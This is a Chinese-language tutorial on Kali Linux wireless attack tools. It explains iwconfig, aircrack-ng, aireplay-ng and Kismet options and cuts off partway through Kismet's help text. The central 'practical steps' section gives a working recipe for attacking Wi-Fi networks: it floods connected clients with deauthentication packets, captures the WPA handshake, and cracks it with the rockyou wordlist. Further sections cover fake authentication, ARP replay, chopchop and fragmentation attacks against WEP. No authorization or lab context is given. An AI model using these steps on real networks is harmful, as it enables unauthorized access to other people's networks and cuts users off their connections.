kali linux 无线攻击工具（入门版-持续更新中）

无线攻击篇

持续更新中～ 下次更新尽量一个月内吧，有些地方还是晦涩难懂。

蓝牙工具集合

无线工具集合

iwconfig

系统配置无线网络设备或显示无线网络设备信息的命令。iwconfig命令类似于ifconfig命令，但是他配置对象是无线网卡，它对网络设备进行无线操作，如设置无线通信频段

参数说明

iwconfig interface [选项]

Usage: iwconfig [interface]
	interface essid {NNN|any|on|off}
	interface mode {managed|ad-hoc|master|...}
	interface freq N.NNN[k|M|G]
	interface channel N
	interface bit {N[k|M|G]|auto|fixed}
	interface rate {N[k|M|G]|auto|fixed}
	interface enc {NNNN-NNNN|off}
	interface key {NNNN-NNNN|off}
	interface power {period N|timeout N|saving N|off}
	interface nickname NNN
	interface nwid {NN|on|off}
	interface ap {N|off|auto}
	interface txpower {NmW|NdBm|off|auto}
	interface sens N
	interface retry {limit N|lifetime N}
	interface rts {N|auto|fixed|off}
	interface frag {N|auto|fixed|off}
	interface modulation {11g|11a|CCK|OFDMg|...}
	interface commit 

    auto： 自动模式
    essid：设置ESSID  //设置ESSID(或网络名称——在某些产品中也可以称为域ID)。ESSID用于标识属于同一虚拟网络的单元。与定义单个单元的AP地址或NWID不同，ESSID定义了通过中继器或基础设施连接的一组单元，用户可以在这些单元中透明地漫游。对于某些卡片，您可以使用off或any(和on来重新启用它)禁用ESSID检查(ESSID混杂)。如果您的网络的ESSID是一个特殊的关键字(off、on或any)，您应该使用——以转义它。
    nwid：设置网络ID  // 设置网络ID。由于所有相邻的无线网络共享相同的介质，该参数用于区分它们(创建逻辑并列网络)并识别属于同一单元的节点。此参数仅用于802.11之前的硬件，802.11协议使用此功能的ESSID和AP地址。对于某些卡，可以使用off(和on)禁用网络ID检查(NWID混杂)来重新启用它。
    freq： 设置无线网络通信频段/率
    chanel： 设置无线网络通信信道   
    sens： 设置无线网络设备的感知阀值 //适当设置这些阈值可以防止卡在接收微弱信号的同时浪费时间在背景噪声上。默认现在硬件感知都自动化了吧。
    mode： 设置无线网络设备的通信设备
    ap： 强迫无线网卡向给定地址的接入点注册 /使用off来重新启用自动模式，而不需要更改当前的访问点，或者您可以使用any或auto来强制卡与当前最佳的访问点重新关联。
    nick<名字>： 为网卡设定别名
    rate<速率>： 设定无线网卡的速率
    rts<阀值>： 在传输数据包之前增加一次握手，确信信道在正常的
    power： 无线网卡的发射功率设置
    总结：保持默认吧，又不是老古董的网卡了，有特殊需求，恶劣条件下可考虑极限值尝试？

Aircrack-ng

参数说明

> Executing “aircrack-ng --help”

  Aircrack-ng 1.6  - (C) 2006-2020 Thomas d'Otreppe
  https://www.aircrack-ng.org

  usage: aircrack-ng [options] 

  Common options:

      -a  : force attack mode (1/WEP, 2/WPA-PSK)           //强制攻击模式
      -e  : target selection: network identifier                        //目标选择：网络标识符
      -b  : target selection: access point's MAC                     //目标选择：通过接入点的MAC
      -p  : # of CPU to use  (default: all CPUs)                    //使用的CPU数量；默认全部
      -q         : enable quiet mode (no status output)                          //启用安静模式（无状态输出）
      -C   : merge the given APs to a virtual one                   //将给定的AP合并为虚拟AP
      -l   : write key to file. Overwrites file.                             //重写文件，将秘匙写入文件中

  Static WEP cracking options:                                                        //静态WEP破解选项：

      -c         : search alpha-numeric characters only
      -t         : search binary coded decimal chr only
      -h         : search the numeric key for Fritz!BOX
      -d   : use masking of the key (A1:XX:CF:YY)
      -m  : MAC address to filter usable packets
      -n  : WEP key length :  64/128/152/256/512
      -i  : WEP key index (1 to 4), default: any
      -f  : bruteforce fudge factor,  default: 2
      -k  : disable one attack method  (1 to 17)
      -x or -x0  : disable bruteforce for last keybytes
      -x1        : last keybyte bruteforcing  (default)
      -x2        : enable last  2 keybytes bruteforcing
      -X         : disable  bruteforce   multithreading
      -y         : experimental  single bruteforce mode
      -K         : use only old KoreK attacks (pre-PTW)
      -s         : show the key in ASCII while cracking
      -M    : specify maximum number of IVs to use
      -D         : WEP decloak, skips broken keystreams
      -P    : PTW debug:  1: disable Klein, 2: PTW
      -1         : run only 1 try to crack key with PTW
      -V         : run in visual inspection mode

  WEP and WPA-PSK cracking options:

      -w  : path to wordlist(s) filename(s)
      -N   : path to new session filename
      -R   : path to existing session filename

  WPA-PSK options:

      -E   : create EWSA Project file v3
      -I    : PMKID string (hashcat -m 16800)
      -j   : create Hashcat v3.6+ file (HCCAPX)
      -J   : create Hashcat file (HCCAP)
      -S         : WPA cracking speed test
      -Z    : WPA cracking speed test length of
                   execution.
      -r     : path to airolib-ng database
                   (Cannot be used with -w)

  SIMD selection:

      --simd-list       : Show a list of the available
                          SIMD architectures, for this
                          machine.
      --simd=   : Use specific SIMD architecture.

       may be one of the following, depending on
      your platform:

                   generic
                   avx512
                   avx2
                   avx
                   sse2
                   altivec
                   power8
                   asimd
                   neon

  Other options:

      -u         : Displays # of CPUs & SIMD support
      --help     : Displays this usage screen

使用说明

DEAUTHENTICATION攻击

aireplay-ng -0 0 -a kifi -c  

0就是无限发包，直至打掉
不指定-c参数时，以广播攻击所有客户端
每攻击发送128个包，64个给AP，64个给客户端
物理足够接近被攻击者
排错：
物理足够接近被攻击者
与被攻击者使用相同无限标准b、n、g
客户端可能拒绝广播帧，建议指定客户端

实战步骤：
查看网卡名字：iwconfig
设置网卡为监听模式：airmon-ng start wlan0
扫描附近的WIFI：airodump-ng wlan0mon
选定一个路由器，并监听其流量：airodump-ng -w tplink -c 11 --bssid {MAC1} wlan0mon
选定连接的一个客户端，进行攻击：aireplay-ng -0 50 -a {MAC1} -c {MAC2} wlan0mon
对抓取到的cap包进行暴力破解：aircrack-ng -w password.txt -b {MAC1} tplink-01.cap
参考：

1. 查看无线网卡名字：iwconfig 或者 ifconfig -a 都可以

2. 开启网卡监听模式：airmon-ng start wlan0 。
   网卡开启了监听模式之后网卡的名字就变为 wlan0mon 了，以后的所有命令中的网卡名都是叫 wlan0mon

3. 扫描附近的WIFI：airodump-ng wlan0mon
   会显示附近所有的WIFI信号。
   显示数据的参数说明：

BSSID ：AP端的MAC地址，如果在Client Section中BSSID显示为“not associated”意味着客户端没有和AP连接上
PWR ：信号的水平强度，越大越好
Beacons ：AP发出的通告编号，每个接入点（AP）在最低速率（1M）时差不多每秒发送10个左右的beacon，所以他们能够在很远的地方被发现
#Data： 对应路由器在线吞吐量，数字越大，数据上传量越大（数据越大表示在正常情况下使用的人越多，选择此目标成功率大些
CH ：信号道（对应路由器的所在频道 / 渠道）
MB ：连接速度 / AP支持的最大速率，如果：
  +MB=11，它是802.11b
  +MB=22，它是802.11b+
  +MB>22，它是802.11g
ENC ：使用的加密算法体系
CIPHER ：检测到的加密算法
AUTH ：使用的认证协议
  +MGT（WPA/WPA2使用独立认证的服务器，常见的802.1x、redius、eap等）
  +SKA（WEP的共享密钥）
  +OPN（WEP开放式）
ESSID ：对应的路由器名称（越往上信号越好）
STATION ：客户端的MAC地址
Lost ：在过去10s丢失的数据分组
Probes ：被客户端查探的ESSID，如果客户端正在试图连接一个AP但是没有连接上，那么就显示在这里。
RXQ ：接受质量，用于衡量所有帧和管理所有帧

4. 选定一个准备破解的WIFI

5. 监听该路由器的流量：
   airodump-ng -w tplink -c 11 --bssid BC:46:99:3D:66:D6 wlan0mon # -w 参数指定生成的文件名 -c 指定信道 --bssid指定路由器的MAC地址

6. 重新打开一个命令行窗口，开始攻击！之前的窗口继续保留，用于观察是否抓包成功
   aireplay-ng -0 50 -a BC:46:99:3D:66:D6 -c A0:AF:BD:D8:E6:31 wlan0mon # 50是发包的数量 -a指定路由器的MAC地址 -c指定连接的客户端的MAC地址
   该命令会打断连接客户端和WIFI之间的连接，等到客户端重新连接WIFI的时候，就会抓取他们之间的握手认证包！

7. 如果看到[ WPA handshake: MAC]，就说明握手包抓取成功了

   我们可以在命令行运行的所在目录下，看到会生成四个文件，其中我们有用的文件是以 cap 后缀结尾的文件

8. 对抓取到的cap包进行破解，这需要我们准备好破解的密码字典。所以，无论是任何破解，都需要一个强大的密码字典！

   kali下自带有一份无线密码字典——> /usr/share/wordlists/rockyou.txt.gz ，我们将其解压

   aircrack-ng -w /usr/share/wordlists/rockyou.txt -b BC:46:99:3D:66:D6 tplink-01.cap #-w指定 密码字典 -b指定路由器的MAC地址

   要想破解出WIFI的密码，需要一个很强大的字典！

其他使用说明

就是采取不同的漏洞进行破解
aireplay-ng -0 10 -a ap_mac -c 合法客户端mac wifi0

参数说明：10表示发送次数（设置为0表示循环攻击，客户端无法正常上网）
-a设置ap的mac地址，-c设置已连接的合法客户端的mac地址(如果要-c则所有与ap连接的客户端全部断线）

-1 fakeauth count 伪装一个客户端和ap进行连接

这是没有客户端研究学习的第一步，因为是没有合法连接的客户端，因此需要一个伪装客户端来和路由器连接。为让ap接受数据包，必须使自己的网卡和ap关联。-1伪装客户端连接成功够才能用发送注入命令

aireplay-ng -1 0 -e ap_essid -a ap_mac -h my_mac wifi0
aireplay-ng -1 0 -e kifi -a  -h  
aireplay-ng -1 60 -o 1 -q 10 -e  -a  -h  

参数说明：
0表示延迟0秒后连接；
-e设置ap_essid；
-a设置ap的mac地址
-h设置伪装客户端的网卡mac地址（就是自己网卡的mac地址）
-o 1 每次身份认证只发一组认证数据包
-q 10 每10秒发keep-live帧

排错：
某些AP验证客户端MAC地址OUI（前三个字节）——>虚假客户端MAC
MAC地址过滤
Denied（Code 1）is WPA in use
WPA/WPA2不支持Fake authentication
使用真实MAC地址
离信号太远
侦听信道不正确

-2 interactive 交互模式

这个模式集合了抓包和提取数据，发包注入三种功能

ireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b ap_mac -h my_mac wifi0

参数说明：
-p设置控制帧中包含的信息（16进制），默认采用0841；
-c：设置目标mac地址；
-b设置ap的mac地址；
-h伪装的客户端网卡mac地址（就是自己的mac地址）
提取包，发送注入数据包

aireplay-ng -2 -r myarp -x 1024 wifi0

参数说明：
myarp：自己设置的文件名；
-x1024：发包的速度（最大为1024）

-3 arp-request注入攻击模式

这种模式是一种抓包后分析重发的过程
aireplay-ng -3 -b ap_mac -h 合法客户端mac -x 512 wifi0

-4 chopchop攻击模式，用来获得一个包含密钥数据的xor文件

aireplay-ng -3 -b  -h  
aireplay-ng -4 -b ap-mac -h my_mac wifi0

参数说明：
-h 合法客户端/ 攻击者MAC
aireplay-ng data 字段
64bit密钥：25W
128bit密钥：150W

-5 fragment 碎片包攻击模式，用来获得PRGA（包含密钥的后缀为xor的文件）

aireplay-ng -5 -b ap_mac -h my_mac wifi0
packetforge-ng 数据包制造程序

packetforge-ng -0 -a ap_mac -h my_mac wifi0 -k 255.255.255.255 -l255.255.255.255 -y niam_xor -w mrarp
参数说明：
-0：伪装arp数据包；
-k：设置目标文件ip和端口；
-l：设置源文件IP和端口；
-y：从xor文件中读取PRGA；
name：xor文件的名字；
-w设置伪装的arp包的文件名

aircrack-ng -n 64 -b ap_mac name-01.ivs
参数说明：
-n设置key长度（64/128/256/512）

Kismet

参数说明

> Executing “kismet -h”
usage: kismet [OPTION]
Nearly all of these options are run-time overrides for values in the kismet.conf configuration file.  //几乎所有这些选项都是kismet.conf配置文件中值的运行时替代。
Permanent changes should be made to.the configuration file. //应该对配置文件进行永久更改
 *** Generic Options ***
 -v, --version                Show version
     --no-console-wrapper     Disable server console wrapper //禁用服务器控制台包装器
     --no-ncurses-wrapper     Disable server console wrapper//禁用服务器控制台包装器
     --debug                  Disable the console wrapper and the crash//禁用控制台包装和崩溃
                              handling functions, for debugging//处理函数，用于调试
 -f, --config-file      Use alternate configuration file//使用备用配置文件
     --no-line-wrap           Turn of linewrapping of output//使用备用配置文件
                              (for grep, speed, etc)
 -s, --silent                 Turn off stdout output after setup phase//使用备用配置文件
     --daemonize              Spawn detached in the background//后面的卒子脱离了
     --no-plugins             Do not load plugins//不要加载插件
     --homedir          Use an alternate path as the home //使用替代路径作为主路径
                               directory instead of the user entry//目录而不是用户条目
     --confdir          Use an alternate path as the base //使用替代路径作为基准
                               config directory instead of the default //目录而不是默认目录
                               set at compile time//在编译时设置
     --datadir          Use an alternate path as the data//使用替代路径作为数据
                               directory instead of the default set at //目录而不是默认设置为
                               compile time.//编译时间。
 *** Logging Options ***
 -T, --log-types       Override activated log types//重写激活的日志类型
 -t, --log-title